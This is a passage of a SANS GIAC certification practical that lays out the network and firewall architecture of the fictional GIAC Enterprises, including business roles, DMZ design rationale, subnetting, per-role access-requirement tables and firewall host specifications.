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Abstract

In this paper, the network architecture and security architecture of GIAC
Enterprises are explored. GIAC Enterprises has different access requirements
for its online customers, its suppliers, its partners, its employee and its
teleworkers. These access requirements are taken into consideration when the
firewall policy both at the firewall and the routers are established.

The paper starts with the GIAC Enterprises business operations, then explores
the access requirements, then the security policy and tutorial are described, then
the firewall policy are shown and explained, and finally, the firewall will be
audited to see if it setting are as stated in the firewall policy.

In the last section, the paper shows the idea of attacking other people’s network.
Knowing (or ever thinking) how to attack other people’s network will help
identifying one own design. The more one accept his own weaknesses, the
more he can improve his design, and thus tightening the security of his systems.

With the more secured systems and networks, a company can live more happily
on the increasingly hostile Internet environment.
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Part |I: Security Architecture

1.1. Business Operation

In order to define describe the full business operation, firstly, the function of each
roles associated with GIAC Enterprises must be defined. There are five related
roles: customers, suppliers, partners, GIAC Enterprises employee, GIAC
Enterprises mobile sales force and teleworkers.

1.1.1. Customers:

1.1.1.1. Searching & Browsing for products & GIAC Enterprises’s

information

Customers visit the company web page for the information about its

product, which are fortune cookie sayings.

On the product page, customers see lists of fortune cookie sayings’s

themes. The theme is a group of fortune cookie sayings. Each theme is

associated with a short description as to what kind of fortune cookie

sayings are in the theme. A few samples of fortune cookie sayings within

each theme are also available.

The translated version of fortune cookie sayings theme is also available

on their particular language page.

1.1.1.2. Placing an order

- Once decided to buy, customers place an order via the secure web page
identified fortune cookie saying’s themes they would like to buy, provide
the credit card information, then download the fortunes cookie sayings
within those themes from the web. Fortunes cookie sayings are zipped in
the file labeled as the name of theme, e.g. Wonderful_Sky Theme.zip.
The web pages for other languages than English are also available.
Those page have information about available fortune cookie saying’s
themes available within those languages.

1.1.1.3. Inquiry
For inquiry, customers can either call in or send e-mail to
info@giacenterprises.net. Customer’s e-mail or phone calls are handled
by qualified representatives.

1.1.2. Suppliers:

1.1.2.1. Roles definition
Suppliers receive order from GIAC Enterprises to make fortune cookie
sayings and pack those fortune cookie sayings into zip file of “theme”.
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1.1.2.2. Making business agreement
Before doing business with any suppliers, the face-to-face meeting must
be arranged so that detail concerning the deal can be discussed.

1.1.2.3. Receiving an order from GIAC Enterprises

- Supplier’s product is made to GIAC Enterprises’s order. GIAC Enterprises
orders the suppliers to make the final product.
The order is sent via signed & encrypted e-mail. Description of the
products, e.g. theme name and information about theme are sent with the
purchasing order. The final product is fortunes cookie sayings zipped into
the file named as theme’s name.

1.1.2.4. Upload themes of fortunes cookie sayings (Delivering the final

product)

- After having an agreement, we set up the IPSec VPN between the
security gateway of our company and that of the suppliers in order to allow
the suppliers to access the web page specific for the supplier, “Supplier
Web Page”.

Suppliers upload their products to GIAC Enterprises Server through web
interface.

Moreover, the supplier has to provide information about the theme and
examples of fortunes cookie sayings, which are then placed into the
database for later query and publish on the customer web.

1.1.2.5. Payments
Transactions related to delivering of product are logged so that the
payment can be made at the end of each month. GIAC Enterprises
deposits the payment to supplier's bank account.

1.1.3. Partners:

1.1.3.1. Roles definition
Partners translate fortune cookie sayings into their language and then
resell translated version of fortune cookie sayings to their customers.

1.1.3.2. Making business agreement
Before doing business with any partners, the face-to-face meeting must be
arranged so that detail concerning the deal can be discussed.

1.1.3.3. Download themes of fortunes cookie sayings (to be translated

and then resell)

- After having an agreement, we set up the IPSec VPN between the
security gateway of our company and that of the suppliers in order to allow
the suppliers to access the web page specific for the partners, “Partner
Web Page”.
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Partner selected fortune cookie saying’'s themes they want to translate,
and then download them from the Partner Web Page.

After translation, the partner uploaded the translated version of fortune
cookie sayings (zipped into the theme file) back to the GIAC server
through web interface. The information describing fortune cookie saying’s
theme and examples must also be translated and recorded to the GIAC
product database.

1.1.3.4. Payments
The order for translated fortune cookie sayings are recorded and
summarized at the end of each month. Part of the benefit from the sale
of those translated version is deposited for each partner via their bank
account. The percentage of the benefit given is depended on the
agreement.

1.1.4. GIAC Enterprises employee
1.1.4.1. Roles definition

1.4.1.1. Customer Supports
Answer the inquiry via calls or e-mails (Sending e-mail out)
Contact the potential customer via calls or e-mails

1.4.1.2. Research & Developments
Research the customer behaviors and then come up with the potentially
best-selling theme (Surfing the web on the Internet)

1.4.1.3. Content & Web Developers
Create & update the web pages (Upload web pages to the web)

1.4.1.4. Accounting Departments
Summarize the sales and process the payment for Suppliers and Partners
(Processing the database and selling information)

1.4.1.5. Database Administrator
Manage the database server

1.4.1.6. System Administrator
Require SSH access to servers, firewalls, and border routers
Maintain the servers (Monitoring, Updating software)
Maintain the routers
IDSs are monitor via direct connect console

1.1.5. GIAC Enterprises mobile sales force and teleworkers
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1.1.5.1. Roles definition
1.1.5.1.1. Mobile sales force is responsible for acquiring new customers
via direct sales
1.1.5.1.2. Teleworkers:

o Working from home is possible from some of the employee
depending on the nature of their jobs. Employees whose work is
web related are able to work from home. In-house developer of
fortune cookie sayings can also work from home.

o Communication within the GIAC Enterprises (management,
employees) is done through e-mail or collaborative web page.

1.2. Network & Security Architecture

Given the business operation above, the GIAC Enterprises network are designed
as following:

NOTE: In this paper, for the sake of real systems safety, we assume that the IP
in the range of 10.x.x.x and 192.168.x.x are routable over the Internet.
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Figure 1: GIAC Enterprises Network & Security Architecture
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NOTE:

1. Servers in External DMZ are numbered as S11, S12, S13, S14, S15

2. Servers in Internal DMZ are numbered as S21, S22, S23, S24, S25

3. We do not assign any IP to IDS server [Server S11 & S25]. Because IDS
only need to sniff packets, being IP-less make it impossible to be attacked
from the network.

4. We enable mirror port in the switch environment to allow IDS to see the
packets flow within their respective segment.
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1.3. Design Justification

The board of GIAC Enterprises, upon our recommendation, has approved
the design above. We justify our design using the risk-based approach to justify
the cost of countermeasure e.g. having firewalls, having IDSs, having separated
mail server, having separated web server, and having separated DNS server.
By calculating out the value of asset to product, the likelihood of threat and their
respective annual loss expectancy (ALE), and the cost of countermeasure one
can formally justify the cost of those countermeasures.

Nevertheless, since in our case we use mostly open source software and
a pretty low end servers, the cost of countermeasures is far lower than the cost
of asset which is the products residing on the servers and the GIAC Enterprises
reputation.

The following are a few example of the reasoning line that we provide to
the board of GIAC Enterprises.

1.3.1. Having two firewall [External Firewall and Internal Firewall]

In contrast to the one firewall approach, if the external firewall will have
ever been compromised, the Internal DMZ and the Internal Network, which is be
the most trusted and secure network, are still protected by the internal firewall.

The real benefit of this two-firewalls approach is to defense-in-depth. This
scheme will be especially good if we employ two different brands of firewalls. In
that case, the opportunity that one might be able to break both firewall to reach
the Internal network is greater reduced.

Despite our awareness and eager to have two different brands of firewalls
for our Internal and External Firewall, lacking of technical personnel, available
equipments and implementation time, we opted to go with having Linux’s
iptables for both firewalls. This may be deemed unnecessary, but we think it is
best to have any the network architecture ready, so that when we are able to buy
another firewalls, we can simply plug it in to replace existing firewall.

Also, some benefits are still exists namely load sharing (e.qg. traffic
between Internet network and Internal DMZ or between External DMZ and
Internal DMZ or Internal network and External DMZ do not load the External
Firewall.) Another not-as-obvious benefit would be the simplification of firewall
rules.

The possible flip side would be additional cost, however, providing that
we use the iptables as our firewall, the cost is far less than the estimated risk if
the risk is realized. Given the risk-based approach, once the asset cost is
identified, then the countermeasure is selected, given a probability of one event,
as far as the countermeasure is cost effective against the value of the asset that
it protects from realized risk, then that countermeasure should be employed.

In GIAC Enterprises case, the Database Server (S22) holds company
assets, which are fortune cookie sayings in electronics form along with
customer’s information. Providing that a PC with 3 NICs card running Linux and
using iptables as a firewall is not as expensive (can cost as little as $1,000.-), we
decided it the cost of having a second firewall is worth its benefit.
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1.3.2. Having two DMZ [External DMZ and Internal DMZ]

DMZ (De-Militarized Zone) is the place where we put the servers that is
intended to be accessible from the Internet such as mail server, web server, and
DNS server. Since, these servers accept network connection from the Internet
to the service on the server, they are highly vulnerable, and one cannot
guarantee that these servers would never be hacked. Once any of these
servers is hacked, there are a lot of things hacker can do, including sniffing for
passwords that might be sending on that network segment.

To make it safe, we separated the servers into two groups. The first
group is the group of servers that must be available to the Internet which are
GIAC Enterprises Information & Customer Web Server (S14), GIAC Enterprises
Mail Server (S13), and GIAC Enterprises Web Server (S12). The second group
is the group of servers that the one should not be able to make any network
connections to them from the Internet. These servers are accessible only by the
employee of GIAC Enterprises. However, since these server are providing
network services, and shared by GIAC Enterprises partners and suppliers, we
opt to be on the safe side of putting them on the Internet DMZ than putting them
in the Internal network, which we regards as highly secure and trusted.

1.3.3. Having Intrusion Detection (IDS) on both DMZ
(Server S11, and Server S25)

It is always good to know whether the systems are under attacked.
Knowing that could helps limit the damage that might be done to the system.
Even if the IDS is not smart enough to protect the systems from being attacked,
knowing real soon that the system has been attacked would reduce a lot of
headache. Otherwise, we might still trust a system that has already been
attacked and full of Trojans. Worse yet, without prompt detection, those
systems might be used as a base station to attack any other machine in the
chain of trust.

Now we know that it is beneficial to have IDS. But, how can we justify the
cost of having them? Well, our IDS are based on open source tools; a simple
old Pentium PC with one NIC would do it. With less than $800 of hardware cost,
Linux and Snort, and a small fraction of cost for maintaining them, we can enjoy
the benefit of having them.

The second IDS (Server S25) might not be as necessary but one would
never hurt with that kind of cost to have one on the Internal DMZ.

1.3.4. Having Log Server on Internal DMZ

Once compromise the system, the smart hacker would leave no trail as to
how he could break into the systems. System log are, more often than not,
erased one the system is compromised, providing no clue to the tracking team.
In that worse day, having the system compromise is worse enough, let alone not
knowing how to protect it from happening in the future. Log always come into
rescue, at least, there is something the tracking team can hang on to.
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Now we know that it is beneficial to have a Log server. But, how can we
justify the cost of having them? Well, our Log Server are based on open source
tools; a simple old Pentium PC with one NIC would do it. With less than $800 of
hardware cost, Linux and Snort, and a small fraction of cost for maintaining them,
we can enjoy the benefit of having them.

Please note that we need only one Log server in this case comparing to
two IDS server. While one IDS per segment is beneficial in term of detection

ability, only one log server is enough to accept all the log from servers reside on
both External DMZ and Internal DMZ.
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1.4. IP Addressing Scheme

Suppose that GIAC Enterprises is given a class C IP 192.168.3.x. We divided
them into four subnets, so we use 255.255.255.192 (or /26) as our net mask.

Subnet | Network First Host Last Host Broadcast
Number
1 192.168.3.0 192.168.3.1 192.168.3.62 192.168.3.63
2 192.168.3.64 192.168.3.65 192.168.3.126 | 192.168.3.127
3 192.168.3.128 | 192.168.3.129 | 192.168.3.190 | 192.168.3.191
4 192.168.3.192 | 192.168.3.193 | 192.168.3.254 | 192.168.3.255

© SANS Institute 2003,

As part of GIAC practical repository.
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1.5. Access Requirements

1.5.1. Customer’s Access Requirements

business operations that involve customers.

We follow the philosophy “those that are not explicitly allowed are denied”,
thus, we present only the explicitly allow requirements.

The following access requirements are derived from Section 1.1.1,

Ref # Source Destination Protoc | Dest. Port
ol

151-1 | Internet External DMZ's UDP 53 (DNS)
DNS Server
S12,192.168.3.68

151-2 | Internet External DMZ's TCP 25 (SMTP)
Mail Server
S13, 192.168.3.69

151-3 | Internet External DMZ's TCP 80 (HTTP)
Web Server
S14, 192.168.3.71

151-4 Internet External DMZ's TCP 443
Web Server (HTTPS)
S14,192.168.3.71

1.5.2. Supplier’s Access Requirements

business operations that involve suppliers.

The following access requirements are derived from Section 1.1.2,

Ref # | Source Destination Protocol | Dest. Port

152-1 | Supplier’'s VPN | VPN Security Gateway | UDP 500
Subnet S15, 192.168.3.70 (ISAKMP)
192.168.5.66/26

152-2 | Supplier’'s VPN | VPN Security Gateway | IP Protocol
Subnet S15, 192.168.3.70 Type 50
192.168.5.66/26 (ESP)

152-3 | Supplier’'s VPN | Internal DMZ’s TCP 80 (HTTP)
Subnet Web Server
192.168.5.66/26 | S23,192.168.3.132

152-4 | Supplier’'s VPN | Internal DMZ’s TCP 443
Subnet Web Server (HTTPS)
192.168.5.66/26 | S23,192.168.3.132

1.5.3. Partner’s Access Requirements
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The following access requirements are derived from Section 1.1.3,
business operations that involve partners.

Ref # Source Destination Protocol | Dest. Port

153-1 | Partner’s VPN VPN Security Gateway | UDP 500
Subnet S15, 192.168.3.70 (ISAKMP)
192.168.4.66/26

153-2 | Partner’'s VPN VPN Security Gateway | IP Protocol
Subnet S15, 192.168.3.70 Type 50
192.168.4.66/26 (ESP)

153-3 | Partner’'s VPN Internal DMZ'’s TCP 80 (HTTP)
Subnet Web Server
192.168.4.66/26 S23,192.168.3.132

153-4 | Partner’s VPN Internal DMZ’s TCP 443
Subnet Web Server (HTTPS)
192.168.4.66/26 S23,192.168.3.132

1.5.4. GIAC Enterprises employee’s access requirements

The following access requirements are derived from Section 1.1.4,
business operations that involve GIAC Enterprises employee.

1.5.4.1. Access requirements affect every GIAC employee working inside
GIAC Enterprises (i.e. not remote sales force or teleworkers)

The employee working within GIAC Enterprises network must be able to
surf the Internet and to send e-mail out to customers. Surfing the Internet not
only requires the ability to use HTTP, and HTTPS, but also the ability to use the
DNS server to translate domain names into their corresponding IP.

NOTE

1. At GIAC Enterprises, we have a policy that our employee must send the
e-mail to the server using the SMTP over SSL protocol to avoid sniffing the e-
mail within our network. Despite the fact that, outgoing e-mails usually are sent
to the destination mail server unencrypted (e.g. via normal SMTP), we see that it
does not hurt to require our employee to do so. (It does not hurt because we still
have plenty of CPU capacity left on our mail server.) We regard this as a good
practice regarding the security issue.

2. We only provide IMAP over SSL service as a mean to download the e-
mail from user mailbox to their PC or laptop.

3. In the application level (Mail Clients), every employee has the certificate
that they can use to sign & encrypt e-mail sending within GIAC Enterprises using
Outlook Express (S/MIME format). Signing the e-mail out does not hurt as well.
However, in order to encrypt the outgoing e-mail, the certification of intended
recipient must exists prior to the encryption. We require that e-mail
correspondence between GIAC Enterprises and its partner must be sign and
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encrypted for the purpose of authenticity, confidentiality, integrity, and non-
repudiation.

Ref # Source Destination Protocol Dest. Port
1541-1 Internal network | Internal DMZ’s UDP 53
192.168.3.192/26 | DNS Server (DNS)
S21,192.168.3.130
1541-2 Internal network | Internal DMZ’s TCP 465
192.168.3.192/26 | Mail Server (SMTP
S24,192.168.3.133 over SSL)
1541-3 Internal network | Internal DMZ’s TCP 993
192.168.3.192/26 | Mail Server (IMAPS)
S24,192.168.3.133
1541-4 Internal network | Internet TCP 80
192.168.3.192/26 (HTTP)
1541-5 Internal network | Internet TCP 443
192.168.3.192/26 (HTTPS)

1.5.4.2. Access requirements affect GIAC Enterprises employee based of
their role.

Besides from access requirements that apply to every employee, some
access requirements are specific to the role (function) of each employee. This
provides the finer-grain control over the access restriction and requirements of
GIAC Enterprises network.

1.5.4.2.1. Database Administrator

Database administrator must be able to maintain the database residing on
the database server. We provide the HTTP over SSL for sending password or
sensitive information from the PC to server. Our database administrator

manages the database through the use of phpMyadmin applicationl.

Ref # Source Destination Protocol | Dest. Port

15421-1 Database Internal DMZ’s TCP 80
Administrator Database Server (HTTP)
192.168.3.192/28 | S22, 192.168.3.131

15421-2 Database Internal DMZ’s TCP 443
Administrator Database Server (HTTPS)
192.168.3.192/28 | S22, 192.168.3.131

1.5.4.2.2. Accounting Staff

1 http://www.phpmyadmin.net/
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Our accounting staff actually needs to use the application provided for
them on the database server. It is actually the web application to summarize the

total sales and detail concerning the selling of fortune cookie sayings for a

particular period of time.

Ref #

Source

Destination

Protocol

Dest. Port

15422-1

Accounting Staff
192.168.3.208/28

Internal DMZ’'s
S23, Web Server
192.168.3.131

TCP

(HTTP)

15422-2

Accounting Staff
192.168.3.208/28

Internal DMZ’'s
S23, Web Server
192.168.3.131

TCP

(HTTPS)

1.5.4.2.3. Content & Web Developers

The content & web developers not only need to upload the web pages

they have developed, but also need to verify that it actually work in the

production environment. Hence we give them the access to HTTP, HTTPS and

SSH service of the web servers.

To upload the web pages to the server, the content & web developers do
so through the use of WinSCP2 program that allow the transfer of file over SSH

service.
Ref # Source Destination Protocol | Dest. Port
15423-1 Content & Web External DMZ’s TCP
Developers Web Server (HTTP)
192.168.3.224/28 | S14, 192.168.3.71
15423-2 Content & Web External DMZ’s TCP
Developers Web Server (HTTPS)
192.168.3.224/28 | S14, 192.168.3.71
15423-3 Content & Web External DMZ’s TCP
Developers Web Server (SSH)
192.168.3.224/28 | S14, 192.168.3.71
15423-4 Content & Web Internal DMZ'’s TCP
Developers Database Server (HTTP)
192.168.3.224/28 | S22, 192.168.3.131
15423-5 Content & Web Internal DMZ'’s TCP
Developers Database Server (HTTPS)
192.168.3.224/28 | S22, 192.168.3.131
15423-6 Content & Web Internal DMZ'’s TCP
Developers Web Server (HTTP)
192.168.3.224/28 | S23, 192.168.3.132
15423-7 Content & Web Internal DMZ'’s TCP
Developers Web Server (HTTPS)
2 http://winscp.vse.cz/eng/
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192.168.3.224/28

S23, 192.168.3.132

15423-8

Content & Web
Developers
192.168.3.224/28

Internal DMZ’'s
Web Server
S23,192.168.3.132

TCP

22

(SSH)

1.5.4.2.4. System Administrator

The system administrator must be able to maintain the servers properly.
In order to do that, they need to access the server via SSH. Besides we also
provide him the ability to ftp to the Internet in case he need to download updated

file or program.

Besides, he can also ping every server and ping to the Internet,

so that he can do problem-solving quickly regarding the availability of our server.

© SANS Institute 2003,

As part of GIAC practical repository.

Ref # Source Destination Protocol | Dest. Port

15424-1 System Internet ICMP Type 8
Administrator (Echo
192.168.3.240/28 Request)

15424-2 System Internet TCP 21
Administrator (FTP)
192.168.3.240/28

15424-3 System Border Router TCP 22
Administrator 192.168.3.1 (SSH)
192.168.3.240/28

15424-4 System External Firewall TCP 22
Administrator 192.168.3.65 (SSH)
192.168.3.240/28

15424-5 System Internal Firewall TCP 22
Administrator 192.168.3.193 (SSH)
192.168.3.240/28

15424-6 System External DMZ's TCP 22
Administrator DNS Server (SSH)
192.168.3.240/28 | S12,192.168.3.68

15424-7 System External DMZ's TCP 22
Administrator Mail Server (SSH)
192.168.3.240/28 | S13, 192.168.3.69

15424-8 System External DMZ's TCP 22
Administrator Web Server (SSH)
192.168.3.240/28 | S14, 192.168.3.71

15424-9 System External DMZ's TCP 22
Administrator IPSec VPN Gateway (SSH)
192.168.3.240/28 | S15, 192.168.3.70

15424-10 | System Internal DMZ'’s TCP 22
Administrator DNS Server (SSH)
192.168.3.240/28 | S21, 192.168.3.130

15424-11 | System Internal DMZ'’s TCP 22
Administrator Database Server (SSH)
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192.168.3.240/28 | S22, 192.168.3.131

15424-12 | System Internal DMZ'’s TCP 22
Administrator Web Server (SSH)
192.168.3.240/28 | S23, 192.168.3.132

15424-13 | System Internal DMZ'’s TCP 22
Administrator Mail Server (SSH)
192.168.3.240/28 | S24, 192.168.3.133

15424-14 | System Internal DMZ'’s TCP 22
Administrator Log Server (SSH)
192.168.3.240/28 | S26, 192.168.3.134

15424-15 | System Border Router TCP Type 8
Administrator 192.168.3.1 (Echo
192.168.3.240/28 Request)

15424-16 | System External Firewall TCP Type 8
Administrator 192.168.3.65 (Echo
192.168.3.240/28 Request)

15424-17 | System Internal Firewall TCP Type 8
Administrator 192.168.3.193 (Echo
192.168.3.240/28 Request)

15424-18 | System External DMZ's TCP Type 8
Administrator DNS Server (Echo
192.168.3.240/28 | S12, 192.168.3.68 Request)

15424-19 | System External DMZ's TCP Type 8
Administrator Mail Server (Echo
192.168.3.240/28 | S13, 192.168.3.69 Request)

15424-20 | System External DMZ's TCP Type 8
Administrator Web Server (Echo
192.168.3.240/28 | S14, 192.168.3.71 Request)

15424-21 | System External DMZ's TCP Type 8
Administrator VPN Security (Echo
192.168.3.240/28 | Gateway Request)

S15, 192.168.3.70

15424-22 | System Internal DMZ'’s TCP Type 8
Administrator DNS Server (Echo
192.168.3.240/28 | S21,192.168.3.130 Request)

15424-23 | System Internal DMZ'’s TCP Type 8
Administrator Database Server (Echo
192.168.3.240/28 | S22, 192.168.3.131 Request)

15424-24 | System Internal DMZ'’s TCP Type 8
Administrator Web Server (Echo
192.168.3.240/28 | S23, 192.168.3.132 Request))

15424-25 | System Internal DMZ'’s TCP Type 8
Administrator Mail Server (Echo
192.168.3.240/28 | S24, 192.168.3.133 Request)

15424-26 | System Internal DMZ'’s TCP Type 8
Administrator Log Server (Echo
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| 192.168.3.240/28 | S26, 192.168.3.134 | | Request) |
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1.5.5. GIAC Enterprises remote sales force & teleworkers’s access
requirement

Remote sales force and teleworkers connected to the Internet through the
ISP of their choices and convenience. From their functions defined in section
1.1.5, they need access to the servers within the Internal DMZ namedly Mail
Server and Web Server.

These employees gain access to the Internal DMZ through IPSec VPN
Security Gateway. Their laptops and/or PCs are loaded with SSH Sentinel
software. Using the DHCP over IPSec?, they are able to connect to the Internal

DMZ as if they are on the same segment as External DMZ. Once their
certifications are verified, they are given the IP in the range of 192.168.3.100-
192.168.3.120 [IP Addresses that belong to External DMZ segment], which is

part of the Internal DMZ network.
Their access requirements are summarized as following:

Ref # Source Destination Protocol | Dest. Port
155-1 Internet VPN Security UDP 500
Gateway (ISAKMP)
S15, 192.168.3.70
155-2 Internet VPN Security IP Protocol
Gateway Type 50
S15, 192.168.3.70 (ESP)
155-3 Teleworkers & Internal DMZ TCP 465
Remote sales Mail Server (SMTP
force IP? S24,192.168.3.133 over SSL)
192.168.3.96/27
155-4 Teleworkers & Internal DMZ TCP 993
Remote sales Mail Server (IMAPS)
force IP S24,192.168.3.133
192.168.3.96/27
155-5 Teleworkers & Internal DMZ TCP 80
Remote sales Web Server (HTTP)
force IP S24,192.168.3.132
192.168.3.96/27
155-6 Teleworkers & Internal DMZ TCP 443
Remote sales Web Server (HTTPS)
force IP S24,192.168.3.132
192.168.3.96/27
155-7 Teleworkers & Internal DMZ'’s UDP 53
Remote sales DNS Server (DNS)

3 DHCP over IPSec HOWTO, http://www.strongsec.com/freeswan/dhcprelay/ipsec-dhcp-

howto.pdf

4 Obtailed by DHCP over IPSec, DHCP server are running on IPSec VPN Security Gateway,
currently the IP given via DHCP is restricted to 192.168.3.97 — 192.168.3.126 (192.168.3.96/27)
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force IP
192.168.3.96/27

S21, 192.168.3.130

1.5.6. Server Access Requirement

Access requirement that particular servers need are shown in the

following table.

1.5.6.1. Syslog
Every servers including firewalls must be able to send logging information
to the log server.

Ref # Source Destination Protocol | Dest. Port

1561-1 External Firewall Internal DMZ UDP
192.168.3.65 Log Server (Syslog)

S26, 192.168.3.134

1561-2 Internal Firewall Internal DMZ UDP

192.168.3.129 Log Server (Syslog)
S26, 192.168.3.134

1561-3 External DMZ Internal DMZ UDP
DNS Server Log Server (Syslog)
S12,192.168.3.68 | S26, 192.168.3.134

1561-4 External DMZ Internal DMZ UDP
Mail Server Log Server (Syslog)
S13,192.168.3.69 | S26, 192.168.3.134

1561-5 External DMZ Internal DMZ UDP
Web Server Log Server (Syslog)
S14,192.168.3.71 | S26, 192.168.3.134

1561-6 External DMZ Internal DMZ UDP
VPN Security Log Server (Syslog)
Gateway S26, 192.168.3.134
S15, 192.168.3.70

1561-7 Internal DMZ Internal DMZ UDP
DNS Server Log Server (Syslog)
S21,192.168.3.130 | S26, 192.168.3.134

1561-8 Internal DMZ Internal DMZ UDP
Database Server Log Server (Syslog)
S22,192.168.3.131 | S26, 192.168.3.134

1561-9 Internal DMZ Internal DMZ UDP
Web Server Log Server (Syslog)
S23,192.168.3.132 | S26, 192.168.3.134

1561-10 Internal DMZ Internal DMZ UDP
Mail Server Log Server (Syslog)
24,192.168.3.133 | S26, 192.168.3.134

1.5.6.2. NTP: Network Time Protocol

© SANS Institute 2003,
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with the NTP clock server.

Every servers including firewalls must be able to synchronize their clock

Ref # Source Destination Protocol | Dest. Port

1562-1 External Firewall Internet UDP 123
192.163.3.2 NTP Server (NTP)

1562-2 Internal Firewall Internet UDP 123
192.168.3.66 NTP Server (NTP)

1562-3 External DMZ Internet UDP 123
DNS Server NTP Server (NTP)
S12,192.168.3.68

1562-4 External DMZ Internet UDP 123
Mail Server NTP Server (NTP)
S13, 192.168.3.69

1562-5 External DMZ Internet UDP 123
Web Server NTP Server (NTP)
S14, 192.168.3.71

1562-6 External DMZ Internet UDP 123
VPN Security NTP Server (NTP)
Gateway
S15, 192.168.3.70

1562-7 Internal DMZ Internet UDP 123
DNS Server NTP Server (NTP)
S21,192.168.3.130

1562-8 Internal DMZ Internet UDP 123
Database Server NTP Server (NTP)
S22,192.168.3.131

1562-9 Internal DMZ Internet UDP 123
Web Server NTP Server (NTP)
S23,192.168.3.132

1562-10 Internal DMZ Internet UDP 123
Mail Server NTP Server (NTP)
S24,192.168.3.133

1562-11 Internal DMZ Internet UDP 123
Log Server NTP Server (NTP)
S26, 192.168.3.134

1.5.6.3. Recursive or External Cache-only DNS5
External Cache-only DNS should be able to perform the recursive DNS

gueries to the Internet.

5 Cricket Liu, Configuring a Name Server to Work with a Firewall (or Vice Versa),

http://www.oreillynet.com/Ipt/a/3018
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Ref # Source Destination Protocol | Dest. Port
1563-1 Internal DMZ'’s Internet UDP 53

DNS Server Any DNS servers (DNS Query)
S21, 192.168.3.130 on the Internet

1.5.6.4. Secondary DNS Zone Transfer
GIAC Enterprise DNS server should be able to allow transfer update to the
secondary DNS residing on ISP DNS server.

Ref # Source Destination Protocol | Dest. Port
1564-1 | External DMZ’s ISP DNS Server TCP 53
DNS Server The secondary DNS (DNS Zone
S12,192.168.3.68 server for the domain Transfer
@giacenterprise.net NOTIFY)
1564-2 | ISP DNS Server External DMZ's TCP 53
The secondary DNS | DNS Server (DNS Zone
server for the domain | S12, 192.168.3.68 Transfer
@giacenterprise.net Request)

1.5.6.5. Relaying e-mail between external mail server and internal mail
server

The external mail server must be able to relay e-mail from the Internet
addressed to @giacenterprise.net to the internal mail server. Also the internal
mail server must be able to relay outgoing mail to the external mail server (so
called smart host).

Ref # Source Destination Protocol | Dest. Port
1565-1 | External DMZ’s Internal DMZ'’s TCP 465
DNS Server Mail Server (SMTP
S12,192.168.3.68 S24,192.168.3.133 over SSL)
1565-2 | Internal DMZ’s External DMZ’s TCP 465
Mail Server DNS Server (SMTP
S24,192.168.3.133 S12,192.168.3.68 over SSL)

1.5.7. Application Access Requirement

GIAC Enterprises’s Customer Web Pages, Supplier Web pages, and
Partner Web Page are all applications. We use php language and mysq| to
develop our web application.

1.5.7.1. Customer Web Pages
GIAC Enterprises is highly concern about the safety of credit card

information. On our ordering web page, we use HTTPS (HTTP over SSL) to
accept credit card information from our customer. We then transfer that credit
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card information to our payment gateway for verification and processed securely
over HTTPS (HTTP over SSL). We have never kept any credit card information
on our server.

However, we do keep customer information such as name, address and
their purchasing history. This information is stored on the database server
running MySQL. In order to do that our web application on the customer web
server must be able to access to database server on the Internal DMZ.

Moreover, after the customer order are successfully processed, they must
be able to download the fortune cookie sayings theme that they have purchased
online. However, we have never stored any fortune cookie sayings theme on
the customer web server, so every time a customer purchase the fortune cookie
sayings theme, the product information is search on the database in order to
retrieve the URL that actually store the fortune cookie sayings on the internal
web server. So, the external web server should also be able to retrieve the
fortune cookie sayings from the internal web server where the fortune cookie
sayings theme actually is stored.

Please note that, once the customer have already downloaded the
product, it should immediately be erased by the application on the external web
server, so that our product are safe even if the customer web server will have
ever been compromised. Note also that for the purpose of authentication, the
transfer of fortune cookie sayings theme from the internal web server to the
external web server are done using HTTP over SSL (HTTPS)

Ref # Source Destination Protocol | Dest. Port

1571-1 | External DMZ’s Internal DMZ'’s TCP 3306
Web Server Database Server (MySQL)
S14, 192.168.3.71 S22,192.168.3.131

1571-2 | External DMZ’s Internet TCP 443
Web Server Payment Gateway (HTTPS)
S14, 192.168.3.71 Provider

1571-3 | External DMZ’s Internal DMZ'’s TCP 443
Web Server Database Server (HTTPS)
S14, 192.168.3.71 S22,192.168.3.131

1.5.7.2. Supplier and Partner Web Pages

GIAC Enterprises Supplier and Partner web pages are on the same
server. Like customer web application, the web application for Supplier Web
Pages and Partner Web Page need to store information about the suppliers and
partners. Moreover, those applications sometimes need to query information
about products, supplier, and partner information as well.

Ref # Source Destination Protocol | Dest. Port

1572-1 | Internal DMZ’s Internal DMZ'’s TCP 3306
Web Server Database Server (MySQL)
S23,192.168.3.132 S22,192.168.3.131
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1.6. Components information
From the diagram of network and security architecture, Figure 1, each
component is detailed as following:

1.6.1. Border Router

1.6.1.1. Component Information

Hardware Software
CISCO Router 3620 IOS 12.2T
32 MB of DRAM
16 MB of Flash RAM

1.6.1.2. Purpose of the component
1. Used as a router
2. Used to filter spoofed packets

1.6.2. External Firewall

1.6.2.1. Component Information

Hardware Software
Pentium Il 350 Mhz - Hardened RedHat Linux 8.0
IDE 10 GB - Iptables as a gateway firewall
RAM 128 MB . OpenSSH®v.3.6.1 [or latest version]
3 NICs

1.6.2.2. Purpose of the component
1. To restrict access from Internet to External DMZ
2. To restrict access from Internet to Internal DMZ
3. To restrict access from Internet to Internal Network

1.6.2.3. Detail about opening ports
This server has been hardened so that
Unnecessary user are disabled.
All service ports are closed [except SSH port 22 which is still
accessible only from system administrator’s IP address]
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_forward7 1

6 http://www.openssh.com/
7 To allow dual-home host to pass on traffic among all interfaces it connected to
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net.ipv4.ip_conntrack_max8 >= 50000
net.ipv4.tcp_syncookies9 1
net.ipv4.conf.defau|t.rp_filter10 1

1.6.3. Internal Firewall

1.6.3.1. Component Information

Hardware Software
Pentium Il 350 Mhz Hardened RedHat Linux 8.0
IDE 10 GB Iptables as a gateway firewall
RAM 128 MB OpenSSH v.3.6.1 [or latest version]
3 NICs

1.6.3.2. Purpose of the component

1. Restrict access from Internet to Internal DMZ

2. Restrict access from External DMZ to Internal DMZ

3. Restrict access from Internal Network to Internal DMZ
4. Restrict access from Internal Network to External DMZ

1.6.3.3. Detail about opening ports

This server has been hardened so that

Unnecessary user are disabled.

All service ports are closed [except SSH port 22 which is still accessible
only from System administrator’s IP address]
This server must have to following kernel parameters

Kernel Parameter Value
net.ipv4.ip_forward11 1
net.ipv4.ip_conntrack_max12 >= 50000
net.ipv4.tcp_syncookies13 1
net.ipv4.conf.defau|t.rp_filter14 1

1.6.4. Server’s information

1.6.4.1. External DMZ

8 Depending on the machine capacity (esp. RAM & CPU & Load), the more the better.

9 Prevention against SYN Flood

